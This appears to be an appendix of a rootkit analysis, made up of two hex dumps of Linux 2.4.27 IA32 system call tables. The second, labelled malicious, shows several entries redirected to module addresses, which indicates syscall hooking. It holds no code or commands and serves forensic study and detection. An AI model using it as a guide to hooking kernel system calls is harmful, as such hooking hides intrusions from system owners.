0xc011d6a0 0xc014d880 0xc014cbb0 0xc0122260 
0xc0122680 0xc01191f0 0xc010a6f0 0xc011d650 
0xc013cb90 0xc010c940 0xc01344f0 0xc011f9e0 
0xc011f9e0 0xc0134720 0xc0112e00 0xc011f9e0 
0xc0136e50 0xc011ef30 0xc0142480 0xc0141120 
0xc0141460 0xc0142fc0 0xc010c210 0xc01208f0 
0xc011f9e0 0xc0124a70 0xc0122200 0xc01226e0 
0xc011f700 0xc01226b0 0xc0122710 0xc011be30 
0xc014cb20 0xc011f9e0 0xc01438e0 0xc0143310 
0xc011f9e0 0xc0120950 0xc011f9e0 0xc010c820 
0xc0121420 0xc01349f0 0xc013abc0 0xc0142ef0 
0xc011d6c0 0xc0120ac0 0xc0120b40 0xc0105ff0 
0xc011f690 0xc011f6b0 0xc0122220 0xc01221c0 
0xc0105e50 0xc011f3f0 0xc0120dc0 0xc01210c0 
0xc0121030 0xc01213e0 0xc0119270 0xc01193b0 
0xc0122560 0xc01225e0 0xc010c450 0xc01418c0 
0xc013ca90 0xc013cc90 0xc013d070 0xc0130a50 
0xc011fc00 0xc0144050 0xc010c320 0xc0125ae0 
0xc0133ec0 0xc0134080 0xc0134ad0 0xc0122180 
0xc011fb80 0xc011fa90 0xc011f9e0 0xc0133cd0 
0xc0133d60 0xc010b150 0xc023cdd0 0xc01154c0 
0xc0118f80 0xc0118da0 0xc013ca10 0xc013cb10 
0xc013cc10 0xc010c790 0xc010b260 0xc01353b0 
0xc011f9e0 0xc0109290 0xc0118870 0xc01305d0 
0xc0119070 0xc010c4e0 0xc0136ef0 0xc0106240 
0xc0105a30 0xc0120f10 0xc0120d40 0xc010b890 
0xc01198f0 0xc012a820 0xc011f410 0xc0116010 
0xc0116180 0xc0116870 0xc01172e0 0xc01501e0 
0xc0120a60 0xc0134900 0xc0139f10 0xc013a590 
0xc0114f40 0xc011f9e0 0xc0122520 0xc0122540 
0xc0135700 0xc01441a0 0xc01448c0 0xc0147000 
0xc0128a30 0xc0135d10 0xc0135d90 0xc0120ae0 
0xc0137050 0xc011a5d0 0xc012ae80 0xc012af40 
0xc012b060 0xc012b100 0xc0113050 0xc01130e0 
0xc0113020 0xc0113080 0xc0113190 0xc0113230 
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0xc0113260 0xc0113290 0xc011d770 0xc012ba60 
0xc0122280 0xc01222d0 0xc01093b0 0xc0117130 
0xc0144f00 0xc016ef00 0xc01223d0 0xc0122420 
0xc0121440 0xc0106340 0xc011f590 0xc011e990 
0xc011ebf0 0xc011ec10 0xc011f020 0xc0105ef0 
0xc0135e10 0xc0135f50 0xc0122100 0xc0149060 
0xc011be40 0xc011c070 0xc01060e0 0xc01280c0 
0xc011f9e0 0xc011f9e0 0xc0105a60 0xc0120fd0 
0xc010c270 0xc0134210 0xc01343c0 0xc013ce60 
0xc013cee0 0xc013cf60 0xc0134da0 0xc011d6e0 
0xc011d720 0xc011d700 0xc011d740 0xc0120010 
0xc011fe40 0xc0120bb0 0xc0120c20 0xc0134e00 
0xc0120360 0xc0120560 0xc0120610 0xc0120710 
0xc0134d40 0xc01201f0 0xc011ff20 0xc01207c0 
0xc0120880 0xc014daa0 0xc0129470 0xc01291e0 
0xc0144370 0xc0143370 0xc011f9e0 0xc011f9e0 
0xc011d760 0xc01282a0 0xc014eb30 0xc014eba0 
0xc014ec10 0xc014eda0 0xc014ee00 0xc014ee60 
0xc014ef90 0xc014eff0 0xc014f050 0xc014f150 
0xc014f1a0 0xc014f1f0 0xc011ef80 0xc0128140 
0xc011f9e0 0xc011f9e0 0xc011f9e0 0xc011f9e0 
0xc011f9e0 0xc011f9e0 0xc011f9e0 0xc011f9e0 
0xc011f9e0 0xc011f9e0 0xc011f9e0 0xc011f9e0 
 
E.2:  IA32 Kernel 2.4.27 Malicious System Call Table 
 
0xc011f9e0 0xc0118850 0xd0878748 0xd0878a88 
0xc0135920 0xc0135200 0xc0135350 0xc0118c20 
0xc01352a0 0xc0141ab0 0xc01416d0 0xd0878ee8 
0xc0134840 0xc0119190 0xc0140ed0 0xc0134b70 
0xc0122140 0xc011f9e0 0xc013c990 0xc0135650 
0xc011d6a0 0xc014d880 0xc014cbb0 0xc0122260 
0xc0122680 0xc01191f0 0xc010a6f0 0xc011d650 
0xc013cb90 0xc010c940 0xc01344f0 0xc011f9e0 
0xc011f9e0 0xc0134720 0xc0112e00 0xc011f9e0 
0xc0136e50 0xd0878818 0xc0142480 0xc0141120 
0xc0141460 0xc0142fc0 0xc010c210 0xc01208f0 
0xc011f9e0 0xc0124a70 0xc0122200 0xc01226e0 
0xc011f700 0xc01226b0 0xc0122710 0xc011be30 
0xc014cb20 0xc011f9e0 0xd0878894 0xc0143310 
0xc011f9e0 0xc0120950 0xc011f9e0 0xc010c820 
0xc0121420 0xc01349f0 0xc013abc0 0xc0142ef0 
0xc011d6c0 0xc0120ac0 0xc0120b40 0xc0105ff0 
0xc011f690 0xc011f6b0 0xc0122220 0xc01221c0 
0xc0105e50 0xc011f3f0 0xc0120dc0 0xc01210c0 
0xc0121030 0xc01213e0 0xc0119270 0xd0878d90 
0xc0122560 0xc01225e0 0xc010c450 0xc01418c0 
0xc013ca90 0xc013cc90 0xc013d070 0xc0130a50 
0xc011fc00 0xc0144050 0xc010c320 0xc0125ae0 
0xc0133ec0 0xc0134080 0xc0134ad0 0xc0122180 
0xc011fb80 0xc011fa90 0xc011f9e0 0xc0133cd0 
0xc0133d60 0xc010b150 0xc023cdd0 0xc01154c0 
0xc0118f80 0xc0118da0 0xc013ca10 0xc013cb10 
0xc013cc10 0xc010c790 0xc010b260 0xc01353b0 
0xc011f9e0 0xc0109290 0xc0118870 0xc01305d0 
0xc0119070 0xc010c4e0 0xc0136ef0 0xc0106240 
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0xd08787b0 0xc0120f10 0xc0120d40 0xc010b890 
0xc01198f0 0xc012a820 0xc011f410 0xc0116010 
0xc0116180 0xc0116870 0xc01172e0 0xc01501e0 
0xc0120a60 0xc0134900 0xc0139f10 0xc013a590 
0xc0114f40 0xc011f9e0 0xc0122520 0xc0122540 
0xc0135700 0xc01448c0 0xc0147000 0xd0878498 
0xc0128a30 0xc0135d10 0xc0135d90 0xc0120ae0 
0xc0137050 0xc011a5d0 0xc012ae80 0xc012af40 
0xc012b060 0xc012b100 0xc0113050 0xc01130e0 
0xc0113020 0xc0113080 0xc0113190 0xc0113230 
0xc0113260 0xc0113290 0xc011d770 0xc012ba60 
0xc0122280 0xc01222d0 0xc01093b0 0xc0117130 
0xc0144f00 0xc016ef00 0xc01223d0 0xc0122420 
0xc0121440 0xc0106340 0xc011f590 0xc011e990 
0xc011ebf0 0xc011ec10 0xc011f020 0xc0105ef0 
0xc0135e10 0xc0135f50 0xc0122100 0xc0149060 
0xc011be40 0xc011c070 0xc01060e0 0xc01280c0 
0xc011f9e0 0xc011f9e0 0xc0105a60 0xc0120fd0 
0xc010c270 0xc0134210 0xc01343c0 0xc013ce60 
0xc013cee0 0xc013cf60 0xc0134da0 0xc011d6e0 
0xc011d720 0xc011d700 0xc011d740 0xc0120010 
0xc011fe40 0xc0120bb0 0xc0120c20 0xc0134e00 
0xc0120360 0xc0120560 0xc0120610 0xc0120710 
0xc0134d40 0xc01201f0 0xc011ff20 0xc01207c0 
0xc0120880 0xc014daa0 0xc0129470 0xc01291e0 
0xd08785d4 0xc0143370 0xc011f9e0 0xc011f9e0 
0xc011d760 0xc01282a0 0xc014eb30 0xc014eba0 
0xc014ec10 0xc014eda0 0xc014ee00 0xc014ee60 
0xc014ef90 0xc014eff0 0xc014f050 0xc014f150 
0xc014f1a0 0xc014f1f0 0xc011ef80 0xc0128140 
0xc011f9e0 0xc011f9e0 0xc011f9e0 0xc011f9e0 
0xc011f9e0 0xc011f9e0 0xc011f9e0 0xc011f9e0 
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